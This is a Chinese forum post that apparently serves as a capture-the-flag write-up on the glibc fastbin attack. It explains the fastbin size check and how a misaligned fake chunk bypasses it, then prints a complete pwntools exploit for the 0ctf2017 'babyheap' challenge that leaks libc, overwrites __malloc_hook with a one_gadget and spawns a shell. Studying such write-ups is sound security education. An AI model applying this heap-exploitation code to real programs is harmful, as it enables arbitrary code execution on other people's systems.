堆溢出学习之fastbin attack

论坛 期权论坛 脚本     
匿名技术用户   2020-12-22 05:36   17   0

0x01 基础知识

fastbin所包含chunk的大小为16 Bytes, 24 Bytes, 32 Bytes, … , 80 Bytes。当分配一块较小的内存(mem<=64 Bytes)时,会首先检查对应大小的fastbin中是否包含未被使用的chunk,如果存在则直接将其从fastbin中移除并返回;否则通过其他方式(剪切top chunk)得到一块符合大小要求的chunk并返回。

+---------|---------+
|prev_size|  size   |
|---------|---------|
|   fd    |   bk    |
|---------|---------|
|       data        |
+---------|---------+

fastbin为单链表,,fastbin为了快速分配回收这些较小size的chunk,并没对之前提到的bk进行操作,即仅仅通过fd组成了单链表而非双向链表,而且其遵循后进先出(LIFO)的原则。

0x02 利用方法

  1. 分配两个fastbin
  2. 利用堆溢出能够覆盖位于高地址的fd指针
  3. 构造伪chunk结构
  4. 进行分配达到任意地址写的目的
#define fastbin_index(sz) \
  ((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
...
if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0))
  {
    errstr = "malloc(): memory corruption (fast)";

因为检查中没有进行对齐处理。所以可以利用错位来构造一个伪size结构以实现fasbin attack

0x03 实例

0ctf2017 babyheap

利用

  1. 泄露libc库,该手法本文不多做介绍
  2. fastbin attack劫持程序流
1.malloc fastbin1
2.malloc fastbin2
3.free fastbin2
4.通过堆溢出修改fastbin2的fd指针
5.重新malloc fastbin2覆盖malloc_hook
6.修改hook指向one_gadget

需要注意的是libc在fastbin size还有一个检测,这个检测是:如果分配出来的chunk的size不属于这个fastbin,那么会出现memory corruption(fast) 的错误。
我们此处就是利用错位构造了伪chunk实例fastbin attack

gef  x/10x 0x7f3874b5fb10-0x20
0x7f3874b5faf0 <_IO_wide_data_0+304>:   0x00007f3874b5e260  0x0000000000000000
0x7f3874b5fb00 <__memalign_hook>:   0x00007f3874820e20  0x00007f3874820a00
0x7f3874b5fb10 <__malloc_hook>: 0x0000000000000000  0x0000000000000000
0x7f3874b5fb20 <main_arena>:    0x0000000000000000  0x0000000000000000
0x7f3874b5fb30 <main_arena+16>: 0x0000000000000000  0x0000000000000000

可以发现__memalign_hook的地址的第三个字节为0x7f,那么我们就可以利用错位来构造伪chunk,将fastbin2的fd指向malloc_hook-24-3-8

EXP

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(log_level='debug')
p = process('./babyheap')
libc = ELF('./libc.so.6')



def allocate(size):
    p.recvuntil('Command: ')
    p.sendline('1')
    p.recvuntil('ize: ')
    p.sendline(str(size))

def fill(index,size,content):
    p.recvuntil('Command: ')
    p.sendline('2')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Size:')
    p.sendline(str(size))
    p.recvuntil('Content:')
    p.send(content)

def free(index):
    p.recvuntil('Command: ')
    p.sendline('3')
    p.recvuntil('Index: ')
    p.sendline(str(index))

def dump(index):
    p.recvuntil('Command: ')
    p.sendline('4')
    p.recvuntil('Index: ')
    p.sendline(str(index))
    p.recvuntil('Content: ')
    data = p.recvuntil('1. Allocate')[:-(1+len('1. Allocate'))]
    return data 

def launch_gdb():
    context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
    gdb.attach(proc.pidof(p)[0])


def pwn():
    allocate(0x60)#0
    #leak libc
    allocate(0x40)#1
    payload1 = 'a'*0x60 +  p64(0) + p64(0x71)
    fill(0, len(payload1),payload1)
    allocate(0x100)#2
    #launch_gdb()
    payload2 = 'b'*0x10 + p64(0) + p64(0x71)
    fill(2, len(payload2), payload2)
    free(1)  #free chunk1
    payload3 = 'a' *0x40 + p64(0) + p64(0x111)
    allocate(0x60)  #1
    fill(1,len(payload3),payload3)
    allocate(0x50) 
    free(2)# free chun2
    #launch_gdb()
    data = u64(dump(1)[-8:])
    print hex(data)
    bin_offset = 0x3c4b78
    libc_base = data - bin_offset
    #system_offset = 0x45390
    #system_addr = libc_base + system_offset
    #print hex(system_addr)
    one_gadget = 0x4526a
    malloc_hook = libc.symbols['__malloc_hook'] + libc_base

    free(1)
    payload4 = 'a'*0x60+ p64(0) + p64(0x71) + p64(malloc_hook-27-0x8) +p64(0)
    fill(0, len(payload4), payload4)
    launch_gdb()
    allocate(0x60)
    allocate(0x60)
    #allocate(0x30)
    payload = 'a'*19 + p64(libc_base + one_gadget)
    fill(2, len(payload), payload)
    allocate(0x20)
    #
    p.interactive()

if __name__ == '__main__':
    pwn()
分享到 :
0 人收藏
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

积分:7942463
帖子:1588486
精华:0
期权论坛 期权论坛
发布
内容

下载期权论坛手机APP